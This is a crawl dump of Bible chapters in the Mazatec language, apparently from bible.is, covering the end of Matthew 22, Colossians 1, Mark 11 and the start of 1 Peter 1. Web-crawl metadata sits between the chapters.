ko̱ mì kì 'ya jè nga'ñó ra tjín‑la̱ Nainá. 30'Kia̱ nga kjoa̱áya india‑la̱ jñà mi'ken, mì tsa ti̱ kjoa̱bixan 'se̱‑ni. Nga̱ 'koa̱á 'sín kjòn ka̱ma jñà xi̱ta̱ koni 'sín kjòn jñà ìkja̱li̱‑la̱ Nainá ra tjín ya̱ ján ngajmi. 31Jè kjoa̱ 'tse̱ mi'ken nga kjoa̱áya india‑ila̱, ¿a kjeé chitá'yá jiòn jè xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga jè sabá Nainá ra kitsò‑no: 32\"'A̱n‑ná ra Nainá‑la̱ tsò‑na Abraham, ko̱ Isaac ko̱ Jacob\"? Jè Nainá mì tsa 'tse̱ mi'ken‑jìn. 'Tse̱é xi̱ta̱ ra títsa̱jnakon. 33Jñà xi̱ta̱ na̱xi̱ndá 'kia̱ nga kií'nchré‑la̱ jñà 'én kìi̱ tà kjóxkón‑la̱ koni 'sín tsakón‑ya. 34Jñà xi̱ta̱ fariseo 'kia̱ nga kijtse nga jè Jesús isíkítsa̱jnajyó jñà xi̱ta̱ saduceo, tsikíxkóyaá xákjén. 35Ko̱ jngo xi̱ta̱‑la̱ ra chji̱ne̱ xa̱jo̱n 'tse̱ kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés iskonangi‑la̱ Jesús nga ta mejèn‑la̱ sko̱ónda̱cha̱‑la̱, kitsò‑la̱: 36―Ji̱ Maestro, ¿ñáa̱‑ni kjo̱téxoma‑la̱ Nainá ra isa̱ 'ñó tíjna ítjòn ta nga'tsì kjo̱téxoma ra kitsjà Moisés? 37Jesús kitsó‑la̱: ―\"Ngi ko̱ó inìma̱‑li, ko̱ ngi ko̱ó kjo̱binachon‑li, ko̱ ngi ko̱ó kjo̱bítsjen‑li nga tsjacha 'ti̱ìn jè ra Nainá‑li ma ra tíjna ítjòn‑li.\" 38Jé kjo̱téxoma ra̱kìi̱ ra isa̱ 'ñó tíjna ítjòn ko̱ ra isa̱ 'ñó chjí‑la̱. 39Ko̱ jè ra bijchó jò‑ni, 'koa̱á ti̱'sín 'ñó chjí‑la̱, tsò‑ní: \"Ko̱'sín tsjacha 'ti̱ìn xi̱ta̱ xàngi̱i koni 'sín nga ji̱ tsjachi ijo‑li.\" 40Jñá kjo̱téxoma kìi̱ ra títsa̱jna ítjòn. Ko̱ ya̱á majngoko̱ jñà nga'tsì kjo̱téxoma 'tse̱ Moisés ko̱ jñà 'tse̱ xi̱ta̱ ra kiìchja̱ ngajo‑la̱ Nainá kjotseé. 41'Kia̱ nga takó ya̱ títsa̱jna‑isa jñà xi̱ta̱ fariseo, Jesús iskonangií‑la̱, kitsò‑la̱: 42―¿Kó bixó jiòn ra a̱'ta 'tse̱ Cristo [ra xá si̱ìkasén‑ni Nainá]? ¿Ñánda̱ kji̱nchrabà‑nì jè tje̱‑la̱? Jñà xi̱ta̱ fariseo kitsó‑ní: ―Ya̱á kji̱nchrabà‑nì tje̱‑la̱ a̱'ta 'tse̱ xi̱ta̱xá ítjòn jè ra tsi'kìn David. 43'Kia̱á kitsò Jesús: ―Tanga jè David, mé‑nì nga kitsò‑nì: \"Jé tíjna ítjòn‑na\", 'kia̱ nga kiìchja̱ a̱'ta 'tse̱ Inìma̱ Tsje‑la̱ Nainá nga kitsò: 44Jè Nainá kitsó‑la̱ jè ra tíjna ítjòn‑na: \"I̱ ti̱jna'tá‑ná ya̱ nga kixi̱‑na̱, skanda 'kia̱ nga ijye sikítsa̱jnangia ya̱ ndsa̱kì jñà ra xi̱ta̱ kondra̱‑li ma.\" 45Jè David, tsa 'koa̱á 'sín kitsò‑la̱ jè Cristo [ra xá si̱ìkasén‑ni Nainá] nga jé tíjna ítjòn‑la̱, ¿kó'sín ma‑ni nga tje̱‑la̱ ma? 46Ni̱yá ra ma isíkáfa‑ila̱ 'én, a̱'ta 'tse̱ 'én ra kiìchja̱. Ko̱ ti̱'koa̱á ni̱ì‑ti̱‑yá ra kjó'ñó‑ni ikon nga iskonangi-isa‑la̱ skanda jè ni̱chjin ra̱kiòo̱.\nSan Mateo 22","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Matt\/22","date":"2013-12-08T12:23:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163065409\/warc\/CC-MAIN-20131204131745-00070-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.0000094175338745}","num_words":1071,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.352,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1‑ 2Jiòn, xi̱ta̱‑la̱ Nainá ra titsa̱jna ya̱ na̱xi̱ndá Colosas ra ko̱'sín kixi̱ mangí'ta‑la Cristo Jesús, jè 'ndsé Timoteo ko̱ 'a̱n Pablo, 'koa̱á 'sín i̱nchinìhixo'tá‑laji̱n, 'a̱n ra ko̱'sín tsikíxáya‑na Jesucristo koni 'sín nga jè Nainá kjomejèn‑la̱. Nainá ra Na̱'ín‑ná ma, katatsjá‑no kjo̱nda ko̱ kjo̱'nchán ya̱ a̱jin inìma̱‑no. 3'Kia̱ nga nakjoá'ta‑la̱ji̱n Nainá ra Na̱'ìn‑la̱ Jesucristo ra tíjna ítjòn‑ná, 'koa̱á 'sín 'mì ki'ta‑la̱ji̱n ra a̱'ta tsa̱jiòn nga tse kjo̱nda kata'se‑la̱ ra jè. 4Ta nga̱tjì‑la̱ ijyeé ko̱'sín nda kina'yá‑ji̱n nga ndaá makjiín‑no a̱'ta 'tse̱ Cristo Jesús, ko̱ kó'sín nga 'ñó tsjacha jiòn nga'tsì jñà ra xi̱ta̱‑la̱ Nainá. 5Ko̱ kií ko̱'sín 'nià‑najiòn nga̱ jè i̱nchichiñá‑la jè kjo̱nda ra tjábé‑no ra jè Nainá tíjnatjò‑la̱ ján ngajmi; koni 'sín kjòchi̱ya‑no 'kia̱ nga kina'yá jè 'én xi̱tse̱ ra nda tsò ra ngi kjo̱hixi̱. 6Jè 'én nda ra̱kìi̱ ra ko̱'sín ijchòkàjin‑no, 'ñó tína'yá‑la̱ nga tíjngo i̱sà'nde ko̱ 'ñó kjìn xi̱ta̱ i̱nchimakjiín‑la̱ ko̱ i̱nchifahatjìya‑la̱ kjo̱bítsjen‑la̱ koni 'sín kjomà'tin jiòn 'kia̱ nga ti̱'sa̱ ina'yá jè kjo̱nda ra tjín‑la̱ Nainá ko̱ nga kjokjiín‑no nga ngi kjo̱hixi̱‑ní. 7'Koa̱á 'sín tsakón‑ya‑no jè Epafras jè xi̱ta̱ ra 'ñó tsjacha‑ji̱n ra ta̱ña níxákjo‑ji̱n a̱'ta 'tse̱ Nainá, nga chi̱'nda‑la̱ Cristo ma nga kixi̱ tísíhitjasòn‑la̱ Nainá ra a̱'ta tsa̱jiòn. 8Ijyeé tsi'kéna̱jmí‑naji̱n nga 'ñó tjín‑no kjo̱tsjacha ra a̱'ta 'tse̱ xi̱ta̱, koni 'sín nga jè Inìma̱ Tsje‑la̱ Nainá síkjinchrabájin inìma̱‑no. 9'Koa̱á ma‑ni, skanda 'kia̱ nga ina'yá‑ji̱n mì kì chaàjin‑naji̱n nga i̱nchinakjoá'ta‑la̱ji̱n Nainá ra a̱'ta tsa̱jiòn; 'koa̱á 'sín níjé'ta‑la̱ji̱n nga ngi nda katasíchi̱ya‑no koni 'sín mejèn‑la̱ ra jè; ti̱'koa̱á katatsjá‑no kjo̱bítsjen ko̱ kjoa̱chji̱ne̱ mé‑ni nga nda katafìya‑no ra kjoa̱ 'tse̱ Nainá. 10Ko̱ ti̱'koa̱á nda si̱jchá ijo‑no koni 'sín tjínè‑la̱ nga 'si̱in jñà ra xi̱ta̱‑la̱ Nainá, nga ni̱chjin nchijón ko̱'sín 'sia̱an koni 'sín mejèn‑la̱ ra jè, ko̱ nga isa̱ nda si̱hitjasòn ta mé kjoa̱ ra nda tjín ko̱ nga ki'ta ni̱chjin isa̱ nda jcha̱xkon ra jè. 11Ti̱'koa̱á 'koa̱á 'sín i̱nchiníjé'ta‑la̱ji̱n Nainá nga katatsjá‑no nga'ñó‑la̱ ra 'ñó jeya tíjna mé‑ni 'ñó ki̱ncha‑no ko̱ 'koa̱á 'sín ma‑ni nga ki̱chíkjoa̱ko̱‑no ko̱ 'se̱‑no kjoa̱jetakòn ko̱ kjoa̱tsja, 12nga ti̱'koa̱á ko̱'sín 'kín‑la jiòn nga tse kjo̱nda kata'se‑la̱ Na̱'ín‑ná nga kitsjà‑no kjo̱nda‑la̱ nga ti̱'koa̱á tjábé‑no kjo̱tjò ra tsjá‑la̱ xi̱ta̱‑la̱ ya̱ ñánda̱ isen chon. 13Jé Nainá tsachrjekàjin‑ná ya̱ a̱'ta 'tse̱ nga'ñó‑la̱ xi̱ta̱‑ni̱í ñánda̱ nga jñò chon, ko̱ ya̱á isíkítsa̱jna‑ná ya̱ ñánda̱ tíbatéxoma I'ndí‑la̱ ra 'ñó tsjake, 14jè ra ko̱ jní‑la̱ tsikíchjítjì‑ná nga kisíkítsa̱jnandi̱í‑ná ko̱ ti̱'koa̱á isìhijcha'ta‑ná jñà jé‑ná. 15Jè Cristo, jé‑ní ra ngi bakón tsijen‑ná yá kjòn‑ni jè Nainá jè ra mì kì tsijen‑ni. Ko̱ jé Cristo tíjna ítjòn‑la̱ nga'tsì ta mé ra isinda i̱sà'nde. 16Ko̱ó Cristo nga tsikínda jè Nainá nga'tsì ra tjín ya̱ ján ngajmi ko̱ nga'tsì ra tjín i̱ a̱'ta nangi, jñà ra tsijen‑ni ko̱ jñà ra mì kì tsijen‑ni, nga'tsì nga'ñó ra tjín a̱jin i̱sén, jñà ra tjítsa̱hijyo ítjòn, ko̱ jñà ra i̱nchibatéxoma, jñà ra tjín‑la̱ xá, ko̱ jñà nga'ñó ra mì kì tsijen‑ná; sabà ko̱ó Cristo kisinda ijye mé‑ni nga jè ko̱chjeén‑la̱. 17Ta̱'koa̱ tíjna Cristo 'kia̱ nga ti̱kje sinda nga'tsì tsajmì ra tjín, ko̱ jé tsjá nga'ñó‑la̱ nga'tsì tsajmì nga takó ya̱ títsa̱hijyo ki'ta ya̱ i̱'nde‑la̱. 18Jé Cristo tíjna sko̱ na̱xi̱ndá‑la̱ ra ti̱jè‑ni ijo‑la̱, ko̱ a̱'ta 'tse̱é kjo'tsia̱‑ni, ko̱ jé kjón kjo'tsia̱‑ni nga jaáya ítjòn‑la̱, mé‑ni nga jè kíjna ítjòn‑ni a̱'ta 'tse̱ nga'tsì ra tjín. 19Nainá, 'koa̱á 'sín isasèn‑la̱ nga jngo kjá ya̱ tsikijnajin ya̱ ijo‑la̱ Cristo, 20ko̱ a̱'ta 'tse̱é Cristo ma tsajo̱óndako̱‑ni Nainá nga'tsì ra tjín nga tjíjtsa i̱sà'nde, ra tjín ján ngajmi ko̱ ra tjín i̱ a̱'ta nangi; ko̱ a̱'ta 'tse̱é jní‑la̱ ra ixaájten ya̱ a̱'ta krò nga 'nchán isíkítsa̱jna‑ni xi̱ta̱ ko̱ Nainá. 21Jiòn, nga 'sa̱ ítjòn, kjiín titsa̱jna‑la Nainá, ko̱ kondra̱á tsikitsa̱jna‑la koni 'sín nga iníkítsjen ta nga̱tjì‑la̱ nga 'choó tjín kjoa̱ ra ki'nià. 22Tanga 'ndi̱‑ni̱ ijyeé nda kichiba‑no ko̱ Nainá ta nga̱tjì‑la̱ kjo̱biya ra kisìkjiín Cristo 'kia̱ nga tsikijna ya̱ a̱'ta nangi, ko̱ kií ko̱'sín ki'sìn‑ni mé‑ni nga tsje ki̱tsa̱hijyo‑najiòn ko̱ nga ni̱mé jé 'se̱‑no ko̱ ni̱mé ra ma ko̱chrjengi‑no ya̱ ngixko̱n Nainá. 23Kií machjeén‑ni nga kixi̱ ti̱tsa̱jna koni 'sín nga makjiín‑no ko̱ kì mincha'taxìn‑la kjoa̱ ra i̱nchichiñá‑la a̱'ta 'tse̱ 'én xi̱tse̱ ra nda tsò a̱'ta 'tse̱ Cristo ra ijye ina'yá; jè 'én nda ra̱kìi̱, jndíi̱ ra ján tí'sena̱jmíya‑la̱ xi̱ta̱ nga tíjngo i̱sà'nde, ko̱ 'a̱n ra 'mì‑na Pablo 'a̱án kjonga̱tsja nga 'kenájmíya. 24'Ndi̱‑ni̱ tsjaá 'bé‑na jè kjo̱hi'in ra tísikjiáa̱n ra ta kjoa̱ tsa̱jiòn, nga 'koa̱á 'sín tísíjngoko̱ ijo‑na̱ jè kjo̱hi'in ra chija'ta‑na koni 'sín nga kitsjà‑na Cristo nga si̱ìkjiín kjo̱hi'in ijo‑na̱ ra ta kjo̱nda 'tse̱ na̱xi̱ndá‑la̱ ra ti̱jè‑ni ijo‑la̱ Cristo. 25'A̱án tísíchjeén‑na Nainá nga ya̱ tísíxáko̱o na̱xi̱ndá‑la̱ jè xá ra jè kisìnga̱tsja‑na ra kjo̱nda tsa̱jiòn nga ngi nda 'kenájmíya 'én nda‑la̱, 26jè 'én ra tíjna'ma‑la̱ Nainá skanda nga ti̱'sa̱‑ni kjotseé nga ki'se xi̱ta̱; tanga ni̱chjin 'ndi̱ 'ndi̱ ijyeé tsakón‑la̱ jñà xi̱ta̱‑la̱. 27Jè Nainá, 'koa̱á 'sín kjomejèn‑la̱ nga tsakón‑la̱ jñà xi̱ta̱‑la̱ kó'sín 'ñó jeya tjín kjòn‑ni jè kjoa̱'ma ra tjínda‑la̱ ra a̱'ta 'tse̱ ra mì tsa xi̱ta̱ judío. Ko̱ jè kjoa̱'ma ra̱kìi̱, jé‑ní nga Cristo, ya̱á tíjnajin masen‑no ko̱ 'koa̱á 'sín ma‑ni nga i̱nchichiñá‑la nga 'se̱‑te‑no jè kjoa̱jeya‑la̱. 28'Koa̱á 'sín nakjoáya‑la̱ji̱n nga'tsì xi̱ta̱ a̱'ta 'tse̱ Cristo, ko̱ 'ñó i̱nchinakjoá‑la̱ji̱n nga i̱nchi'bi‑la̱ji̱n nga'tsì kjo̱bítsjen mé‑ni nga ni̱mé ra jchi̱ja'ta‑la̱ nga'tsì xi̱ta̱ ra Cristo títsa̱jnako̱ jè ni̱chjin 'kia̱ nga ki̱jchò ya̱ ngixko̱n Nainá. 29Kií ko̱'sín tísíxá‑na nga 'ñó tíbiné‑la̱ ijo‑na̱ nga tísichjée̱n jè nga'ñó ra títsjá‑na Cristo.\nColosenses 1","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Col\/1","date":"2013-12-12T17:36:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164653483\/warc\/CC-MAIN-20131204134413-00033-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.0000096559524536}","num_words":853,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.358,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kia̱ nga ijye ijchò chraña ya̱ na̱xi̱ndá Jerusalén, ya̱ chraña'tá‑la̱ jñà na̱xi̱ndá ra 'mì Betfagé ko̱ Betania, ya̱ a̱'ta nindo Yá Olivo, Jesús isìkasén jò xi̱ta̱ ra kotá'yá'ta‑la̱; 2kitsò‑la̱: ―Tangió ya̱ na̱xi̱ndá i̱tsé ra kjijna'ta ya̱ ján. 'Kia̱ kijcho, ya̱á síjna'ta'ñó jngo ndí búrró i'ndí ra kjè sa yá bijnasòn‑la̱. Chjíjnda̱'ñó, ko̱ nchrabáko̱ò. 3Tsa yá ra kjonangi‑no, tsa ki̱tso̱‑no: \"¿Mé‑ni ko̱nìko̱‑no jè búrró?\", 'tin‑la: \"Jé‑ró Jesús ra tíjna ítjòn ko̱chjeén‑la̱. A̱skan‑ró si̱ìkasén‑ni.\" 4Kijí jñà xi̱ta̱‑la̱. 'Kia̱ nga ijchò jngo ni'ya, ya̱á tjíté'ñó jngo búrró ya̱ xa̱tjo̱ ni'ya ya̱ a̱ya ndi̱yá. A̱kjòn iskíjnda̱'ñó. 5Tjín i'ka xi̱ta̱ ra ya̱ títsa̱jna kitsò‑la̱: ―¿Mé 'sia̱an‑no, mé‑ni ko̱'sín chjíjnda̱'ñó‑no jè ndí búrró? 6'Koa̱á 'sín kitsò‑la̱ koni 'sín kitsò Jesús, ko̱ kitsjá'ndeé‑la̱ nga kiìko̱. 7'Kia̱ nga ijchòko̱ ñánda̱ tíjna Jesús, jñá nikje‑la̱ xi̱ta̱ kìi̱ tsakásòn‑la̱ ndí búrró. A̱kjòn tsikijnasòn‑la̱ Jesús. 8Kjín xi̱ta̱ tsakánda nikje‑la̱ ya̱ a̱ya ndi̱yá, ti̱'koa̱ tjín xi̱ta̱ ra chrja‑la̱ yá tsate ya̱ a̱jin ijñá ra tsakánda‑te nga kijtsexkón Jesús. 9Jñà xi̱ta̱ ra tjítjòn ko̱ ra tji̱ngi, 'ñó chja̱, nga i̱nchitsò: ―Mé ta̱ nda‑la̱ jè xi̱ta̱ ra nchrabá ngajo‑la̱ jè Nainá. 10Mé ta̱ nda‑ni nga jè ko̱tèxoma ngajo‑la̱ xi̱ta̱ jchínga‑ná David. ¡Jeya katijna Nainá ya̱ ján ngajmi! 11Jesús 'jaha'sen‑jiín ya̱ na̱xi̱ndá Jerusalén. A̱kjòn 'jaha'sen ya̱ ndi̱tsin i̱ngo̱ ítjòn. Iskotsíjen kóho'ki ndi̱tsin i̱ngo̱. Ko̱ a̱kjòn itjo‑ni; kiìko̱ xi̱ta̱‑la̱ ra tejò ma‑ni ján na̱xi̱ndá Betania, tà nga̱tjì‑la̱ nga̱ ijyeé kjòhixòn 'kia̱ nga ijchò. 12'Kia̱ ma nchijòn nga itjo india‑ni ján na̱xi̱ndá Betania, kjòhojó‑la̱ jè Jesús. 13'Kia̱á kijtse jngo yá‑la̱ to igo̱ ra kjin síjna nga tjín‑la̱ xka̱. Kiì katsíjen‑la̱ a ijá‑la̱ to, tanga ni̱mé to isakò‑la̱; tà xka̱á ra tjín‑la̱. Nga̱ mì tsa ni̱chjin‑la̱ to 'kia̱. 14'Kia̱á kitsò‑la̱ jè yá‑la̱ to igo̱: ―Kì ta̱ tsja yá ra kjine‑ni to‑li ni̱ ta kjiá‑nioo̱. Jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús kií'nchré 'én kìi̱. 15'Kia̱ nga ijchò ya̱ na̱xi̱ndá Jerusalén, Jesús 'jaha'seén ya̱ ndi̱tsin i̱ngo̱ ítjòn; a̱kjòn tsikí'tsia̱ nga tsachrje jñà xi̱ta̱ ra ya̱ i̱nchibatína ko̱ i̱nchibatse ya̱ ndi̱tsin‑la̱ i̱ngo̱. Isíkáfa tsakjàn jñà ímixa̱‑la̱ xi̱ta̱ ra síkaatjìya to̱n ko̱ jñà íxile̱‑la̱ jñà ra batína ni̱se paloma. 16Ko̱ mì kì kitsjá'nde‑la̱ xi̱ta̱ ra tsajmì batína nga 'jahako̱ 'chá‑la̱ ya̱ ndi̱tsin i̱ngo̱. 17A̱kjòn tsakón‑ya‑la̱ xi̱ta̱. Kitsò‑la̱: ―Jè xa̱jo̱n‑la̱ Nainá, ¿a mí tsa ko̱'sín tjí'ta nga tsò: \"Ni'ya‑na̱, 'koa̱á 'sín ko̱chjeén nga ya̱ ki̱chja̱'ta‑na nga'tsì xi̱ta̱ ra tjín nga tjíjtsa i̱sà'nde\"? Tanga jiòn i̱'nde‑la̱ xi̱ta̱ chijé i̱nchi'nià. 18Kií'nchré jñà kjoa̱ kìi̱ jñà xi̱ta̱ ítjòn‑la̱ na̱'mì ko̱ xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés. Tsakátsjií‑la̱ kó'sín si̱ìko̱ nga ko̱ma si̱ì'ken Jesús, tanga itsakjón‑la̱, tà nga̱tjì‑la̱ nga̱ kjín ma‑ni xi̱ta̱ ra kií'nchré 'én ra tsakón‑ya Jesús, ko̱ tà maxkón‑la̱ jè kjo̱téxoma ra bakón‑ya. 19'Kia̱ nga ijye kjòjñò, Jesús ko̱ xi̱ta̱‑la̱ itjojin‑ní ya̱ na̱xi̱ndá Jerusalén nga kijì‑nì. 20Ra ma nchijòn, 'kia̱ nga ta̱jñòya, ya̱á 'ja india‑nì ya̱ ñánda̱ nga síjna yá‑la̱ to igo̱; kijtse‑ní nga ijye kixì yá‑la̱ ko̱ kóho'ki skanda kja̱ma̱‑la̱. 21Jè Pedro ítsjeén‑la̱ koni 'sín kitsò Jesús. 'Kia̱á kitsò‑la̱: ―Maestro, chítsijen‑la jè yá‑la̱ to igo̱ ra inakjoájno‑la̱ ji̱ ngojña̱. Ijyeé kixì. 22Jesús 'kia̱á kiìchja̱; kitsò: ―Katakjiín‑no a̱'ta 'tse̱ Nainá. 23'Koa̱á xin kixi̱‑no, tsa yá ra ki̱tso̱‑la̱ jè nindo ra̱kìi̱: \"Ti̱xín i̱jndíi̱; ya̱ ti̱kàtje̱n‑jin ijo‑li ya̱ a̱jin ndáchikon.\" Tsa mì tsa tà jò tjín‑la̱ inìma̱‑la̱ 'kia̱ nga ko̱ki̱tso̱, tsa ngi kixi̱ kjoa̱ nga tjíjngo ikon, 'koa̱á 'sín ko̱ma koni 'sín ki̱tso̱. 24Kií ko̱'sín xin‑no nga'tsì‑no, 'kia̱ nga mé ra si̱jé nga ki̱nákjoa̱'ta‑la Nainá, 'koa̱á 'sín katakjiín‑no koni tsa ijye itjábé‑no jè ra i̱nchiníjé, mé‑ni nga 'ki̱‑no. 25Ko̱ 'kia̱ nga ki̱nákjoa̱'ta‑la Nainá ti̱jchaà'ta‑la jé‑la̱ xàngio̱o mé‑ni jè Na̱'ìn‑no ra tíjna ján ngajmi, ti̱'koa̱á si̱hijcha'ta‑no jé ra tjín‑no. 26[Tanga tsa mì kì si̱jcha'tà‑la jé‑la̱ xi̱ta̱ xàngio̱o, ti̱'koa̱á mì kì si̱hijcha'ta‑no Na̱'ín‑ná ra tíjna ngajmi jñà jé ra tjín‑no.] 27Jesús ijchó india‑ni ya̱ ján Jerusalén. 'Kia̱ nga tsá'ba ya̱ ndi̱tsin i̱ngo̱ ítjòn, 'jií kíncha'tá‑la̱ jñà xi̱ta̱ ítjòn‑la̱ na̱'mì, ko̱ xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés, ko̱ xi̱ta̱ jchínga 'tse̱ xi̱ta̱ Judío; 28iskonangi‑la̱, kitsò‑la̱: ―Ko̱'tín‑náji̱n, ¿mé kjo̱téxoma ra tsjá'nde‑li nga ko̱'sín 'nì? ¿Yá ra kitsjà‑li kjo̱téxoma kìi̱? 29_ 30Jesús kitsó‑la̱: ―Ti̱'koa̱á 'a̱n, jngo 'én skonangi‑no: ¿Yá ra kitsjà‑la̱ kjo̱téxoma jè Juan nga tsatíndá xi̱ta̱? ¿A jé Nainá ra tíjna ngajmi, o̱ ra ta xi̱ta̱‑ní? Ko̱'tín‑ná jiòn, a̱kjòn 'kia̱ ko̱xín‑no ra 'a̱n, yá ra kitsjà‑na kjo̱téxoma koni 'sín 'siaa̱n. 31'Kia̱á tsajo̱óya‑ni, kitsò‑la̱ xákjién: ―Tsa kixé: \"Jé Nainá ra tíjna ngajmi\", kií‑la 'sín ki̱tso̱‑ná: \"¿Mé‑ni nga mì kjokjiín‑najiòn?\" 32Ko̱ tsa kixé: \"Xi̱ta̱á kitsjà‑la̱ kjo̱téxoma…\" Tanga jñà xi̱ta̱ na̱xi̱ndá itsakjòn‑la̱, tà nga̱tjì‑la̱ nga jñà xi̱ta̱, 'koa̱á 'sín makjiín‑la̱ nga jè Juan, ngi jé Nainá kiìchja̱ ngajo‑la̱. 33Jñà xi̱ta̱ kìi̱ kitsó‑ní: ―Mì kì 'ya‑ji̱n. Ko̱ jè Jesús kitsó‑la̱: ―Ti̱'koa̱á 'a̱n, mì kì ko̱xín‑no yá ra kitsjà‑na kjo̱téxoma koni 'sín nga 'siaa̱n.\nSan Marcos 11","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Mark\/11","date":"2013-12-08T16:52:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163066444\/warc\/CC-MAIN-20131204131746-00077-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000082254,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"maa_Latn_score\": 1.000008225440979}","num_words":762,"character_repetition_ratio":0.068,"word_repetition_ratio":0.011,"special_characters_ratio":0.242,"stopwords_ratio":0.304,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'A̱n Pedro, ra jè Jesucristo tsikíxáya‑na, tísixó'tà‑no nga'tsì‑no ra jndíi̱ ra ján xìn titsa̱jna‑la na̱xi̱ndá‑no nga ya̱ titsa̱jnajion ya̱ nangi Ponto, Galacia, Capadocia, Asia ko̱ Bitinia, 2jiòn ra xá ko̱'sín ti̱'sa̱ kjotseé‑ni nga tsjahíjin‑no Nainá ra Na̱'ìn 'mì‑lá koni 'sín ta̱'koa̱ ijye tjíjin‑la̱; ko̱ ngi ko̱ó Inìma̱ Tsje‑la̱ kisìtsje‑no nga xi̱ta̱ tsje‑la̱ tsò‑no, mé‑ni nga si̱itjasòn‑la Jesucristo ko̱ mé‑ni nga ko̱tsje‑ni ijo‑no ra kjoa̱ 'tse̱ jé‑no koni tsa jè kjòn jní‑la̱ Jesucristo xa̱ájten‑jnó jiòn ra tsikíxten 'kia̱ nga 'ken. Tse kjo̱nda ko̱ tse kjo̱'nchán katasakó-isa‑la̱ inìma̱‑no. 3'Nga katijna Nainá ra Na̱'ìn‑la̱ ma Jesucristo ra tíjna ítjòn‑ná, nga̱ tseé kjo̱hi̱ma̱takòn ki'se‑la̱ ra a̱'ta tsa̱jién: koni 'sín nga jaáya‑la̱ Jesucristo ra a̱'ta 'tse̱ kjo̱biya, 'koa̱á ti̱'sín jngo kjo̱binachon xi̱tse̱ kitsjà india‑ná mé‑ni nga ni̱jngo ni̱chjin kje̱he'tà kjoa̱ ra chiñá‑lá, 4nga tjábé‑ná kjo̱tjò ra tíjnatjò‑la̱ Nainá ya̱ ján ngajmi, kjo̱tjò ra mì kì fitson‑ni ta kjiá‑nioo̱, ko̱ ra ni̱kjiá matjé ko̱ ra ni̱kjiá chija koni 'sín nga 'ki. 5Ta nga̱tjì‑la̱ nga ya̱ makjiín‑najiòn ra a̱'ta 'tse̱ Nainá, ngi ko̱ó jè nga'ñó‑la̱ nga tísíkonda̱‑najiòn mé‑ni nga ma kijchotji̱ngi‑la jè kjo̱nda‑la̱, nga ma kítjo̱kajion kjo̱hi'in ra kjoa̱ 'tse̱ jé‑no, koni 'sín ijye tjínda‑la̱ ra jè; ko̱ 'kia̱á jcha̱‑la̱ kjoa̱ kìi̱ 'kia̱ nga ijye ko̱chraña ni̱chjin nga kje̱he'tà i̱sà'nde. 6Jñá kjoa̱ kìi̱ ra 'ñó tsja 'bé‑la̱ inìma̱‑najiòn, ni̱'sín skanda 'ndi̱ 'ndi̱, kjín ndi̱yá‑la̱ kó'sín nga i̱nchichjí'ta‑najiòn nga i̱nchibatojin chiba ni̱chjin jiòn kjo̱hi'in. 7Jè kjoa̱ makjiín‑najiòn, 'koa̱á 'sín ngoya‑la̱ koni tsa ki̱cha̱ sinè, tjíné‑la̱ nga ni'í tjá'ta‑ni mé‑ni nga jcha̱‑la̱ kó'ki chjí‑la̱. Tsa chíkjoa̱‑la̱ ni̱'sín ta mé kjoa̱ ra ko̱tojin, isa̱á ta 'ñó chjí‑la̱ koni tsa jè ki̱cha̱ sinè ra bijchó ni̱chjin‑la̱ nga fe. 'Koa̱á 'sín tjín, 'kia̱ nga ijye tjá'ta kjoa̱ ra makjiín‑najiòn, machjeén‑la̱ nga nda ki̱tjongi, nga jeya kíjna, ko̱ nga jcha̱xkón 'kia̱ nga kj'i̱í india‑ni Jesucristo. 8Ni̱'sín kjè kì 'yaxkon jiòn jè Jesucristo, tanga tsjachaá‑nájiòn; ko̱ ni̱'sín takó kjè kì tsa i̱nchi'ya jiòn, tanga makjiín‑najiòn ra a̱'ta 'tse̱ ko̱ 'ñó matsja‑najiòn nga tjín jngo‑no kjo̱tsja ra 'ñó jeya tjín, nga skanda tsín‑no 'én kó'sín nga kixó jiòn ra a̱'ta 'tse̱ kjo̱tsja ra tjín‑no. 9Nga̱ ijyeé títjábé‑no jè kjo̱nda ra 'tse̱ kjoa̱ makjiín‑no; ko̱ jè kjo̱nda ra̱kìi̱, jé‑ni nga i̱nchibítjo̱kàjion kjo̱hi'in 'tse̱ jé‑no. 10Jñà xi̱ta̱ ra isìchjeén Nainá nga kiìchja̱ ngajo‑la̱, ra tje̱n tsi'kéna̱jmí a̱'ta 'tse̱ jè kjo̱nda ra Nainá tsjá kjo̱tjò‑najiòn, iskota'yáko̱‑ní ko̱ ti̱'koa̱á tsakátsjiya‑ní a̱'ta 'tse̱ kjo̱nda kìi̱ nga ma kítjo̱kajieén kjo̱hi'in. 11Jñà xi̱ta̱ kìi̱ mejèn‑la̱ nga nda ske̱, mé ni̱chjin‑ni ko̱ka̱ma ko̱ kó'sín ko̱ma‑la̱ kjoa̱ kìi̱ koni 'sín 